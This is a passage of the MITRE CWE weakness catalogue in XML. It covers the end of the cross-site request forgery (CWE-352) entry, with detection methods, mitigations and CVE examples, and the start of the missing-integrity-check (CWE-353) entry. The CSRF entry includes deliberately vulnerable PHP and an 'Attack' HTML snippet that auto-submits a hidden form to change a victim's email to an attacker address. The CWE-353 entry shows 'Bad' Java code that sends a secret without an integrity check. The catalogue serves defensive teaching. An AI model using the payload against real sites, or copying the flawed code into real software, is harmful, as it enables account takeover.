            <Related_Weakness Nature="Requires" CWE_ID="642" View_ID="1000"/>
            <Related_Weakness Nature="Requires" CWE_ID="613" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Session Riding</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Cross Site Reference Forgery</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>XSRF</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Non-Repudiation</Scope>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-7">
               <Method>Manual Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.</xhtml:p>
                  <xhtml:p>Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.</Description>
               <Effectiveness>Limited</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]</xhtml:p>
                  <xhtml:p>Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]</Description>
               <Effectiveness_Notes>Note that this can be bypassed using XSS (CWE-79).</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.</Description>
               <Effectiveness_Notes>Note that this can be bypassed using XSS (CWE-79).</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Use the "double-submitted cookie" method as described by Felten and Zeller:</xhtml:p>
                  <xhtml:p>When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.</xhtml:p>
                  <xhtml:p>Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.</xhtml:p>
                  <xhtml:p>This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]</xhtml:p>
               </Description>
               <Effectiveness_Notes>Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not use the GET method for any request that triggers a state change.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.</Description>
               <Effectiveness_Notes>Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.</Intro_Text>
               <Body_Text>The following HTML is intended to allow a user to update a profile.</Body_Text>
               <Example_Code Nature="Bad" Language="HTML">
                  <xhtml:div>&lt;form action="/url/profile.php" method="post"&gt;<xhtml:br/>&lt;input type="text" name="firstname"/&gt;<xhtml:br/>&lt;input type="text" name="lastname"/&gt;<xhtml:br/>&lt;br/&gt;<xhtml:br/>&lt;input type="text" name="email"/&gt;<xhtml:br/>&lt;input type="submit" name="submit" value="Update"/&gt;<xhtml:br/>&lt;/form&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>profile.php contains the following code.</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>// initiate the session in order to validate sessions<xhtml:br/>
                     <xhtml:br/>session_start();<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>//if the session is registered to a valid user then allow update</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>if (! session_is_registered("username")) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>echo "invalid session detected!";<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// Redirect user to login page</xhtml:i>
                           <xhtml:br/>[...]<xhtml:br/>
                           <xhtml:br/>exit;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// The user session is valid, so process the request</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// and update the information</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>update_profile();<xhtml:br/>
                     <xhtml:br/>function update_profile {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// read in the data from $POST and send an update</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// to the database</xhtml:i>
                           <xhtml:br/>SendUpdateToDatabase($_SESSION['username'], $_POST['email']);<xhtml:br/>[...]<xhtml:br/>echo "Your profile has been successfully updated.";</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.</Body_Text>
               <Body_Text>The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:</Body_Text>
               <Example_Code Nature="Attack" Language="HTML">
                  <xhtml:div>&lt;SCRIPT&gt;<xhtml:br/>function SendAttack () {<xhtml:div style="margin-left:1em;">form.email = "attacker@example.com";<xhtml:br/>
                        <xhtml:i>// send to profile.php</xhtml:i>
                        <xhtml:br/>form.submit();</xhtml:div>}<xhtml:br/>&lt;/SCRIPT&gt;<xhtml:br/>
                     <xhtml:br/>&lt;BODY onload="javascript:SendAttack();"&gt;<xhtml:br/>
                     <xhtml:br/>&lt;form action="http://victim.example.com/profile.php" id="form" method="post"&gt;<xhtml:br/>&lt;input type="hidden" name="firstname" value="Funny"&gt;<xhtml:br/>&lt;input type="hidden" name="lastname" value="Joke"&gt;<xhtml:br/>&lt;br/&gt;<xhtml:br/>&lt;input type="hidden" name="email"&gt;<xhtml:br/>&lt;/form&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.</Body_Text>
               <Body_Text>Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-1703</Reference>
               <Description>Add user accounts via a URL in an img tag</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1703</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1995</Reference>
               <Description>Add user accounts via a URL in an img tag</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1995</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1967</Reference>
               <Description>Arbitrary code execution by specifying the code in a crafted img tag or URL</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1967</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1842</Reference>
               <Description>Gain administrative privileges via a URL in an img tag</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1842</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1947</Reference>
               <Description>Delete a victim's information via a URL or an img tag</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1947</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2059</Reference>
               <Description>Change another user's settings via a URL or an img tag</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2059</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1674</Reference>
               <Description>Perform actions as administrator via a URL or an img tag</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1674</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3520</Reference>
               <Description>modify password for the administrator</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3520</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3022</Reference>
               <Description>CMS allows modification of configuration via CSRF attack against the administrator</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3022</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3759</Reference>
               <Description>web interface allows password changes or stopping a virtual machine via CSRF</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3759</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Cross-Site Request Forgery (CSRF)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A5</Entry_ID>
               <Entry_Name>Cross Site Request Forgery (CSRF)</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>9</Entry_ID>
               <Entry_Name>Cross-site Request Forgery</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="111"/>
            <Related_Attack_Pattern CAPEC_ID="462"/>
            <Related_Attack_Pattern CAPEC_ID="467"/>
            <Related_Attack_Pattern CAPEC_ID="62"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and&#xA; Response Splitting).&#34; Page 37"/>
            <Reference External_Reference_ID="REF-329"/>
            <Reference External_Reference_ID="REF-330"/>
            <Reference External_Reference_ID="REF-331"/>
            <Reference External_Reference_ID="REF-332"/>
            <Reference External_Reference_ID="REF-333"/>
            <Reference External_Reference_ID="REF-334"/>
            <Reference External_Reference_ID="REF-335"/>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-956"/>
         </References>
         <Notes>
            <Note Type="Relationship">
               <xhtml:p>There can be a close relationship between XSS and CSRF (CWE-352).  An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload.  A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend.  MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.</xhtml:p>
            </Note>
            <Note Type="Theoretical">
               <xhtml:p>The CSRF topology is multi-channel:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.</xhtml:li>
                  <xhtml:li>Intermediary (as user) to server (as victim). The activation point is an internal channel.</xhtml:li>
               </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Tom Stracener</Modification_Name>
               <Modification_Date>2009-05-20</Modification_Date>
               <Modification_Comment>Added demonstrative example for profile.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationship_Notes, Research_Gaps</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="353" Name="Missing Support for Integrity Check" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.</Description>
         <Extended_Description>If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="354" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Data that is parsed and used may be corrupted.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Scope>Other</Scope>
               <Impact>Hide Activities</Impact>
               <Impact>Other</Impact>
               <Note>Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, a request packet is received, and privileged information is sent to the requester:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>while(true) {<xhtml:div style="margin-left:1em;">DatagramPacket rp = new DatagramPacket(rData,rData.length);<xhtml:br/>outSock.receive(rp);<xhtml:br/>InetAddress IPAddress = rp.getAddress();<xhtml:br/>int port = rp.getPort();<xhtml:br/>out = secret.getBytes();<xhtml:br/>DatagramPacket sp =new DatagramPacket(out, out.length, IPAddress, port);<xhtml:br/>outSock.send(sp);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to add integrity check value</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 2-4</Entry_ID>
	      <Entry_Name>Req SP.03.03 RE(1)</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 2-4</Entry_ID>
	      <Entry_Name>Req SP.04.02 RE(1)</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 2-4</Entry_ID>
	      <Entry_Name>Req SP.11.06 RE(2)</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 3-3</Entry_ID>
	      <Entry_Name>Req SR 3.1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SD-1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR 3.1</Entry_Name>
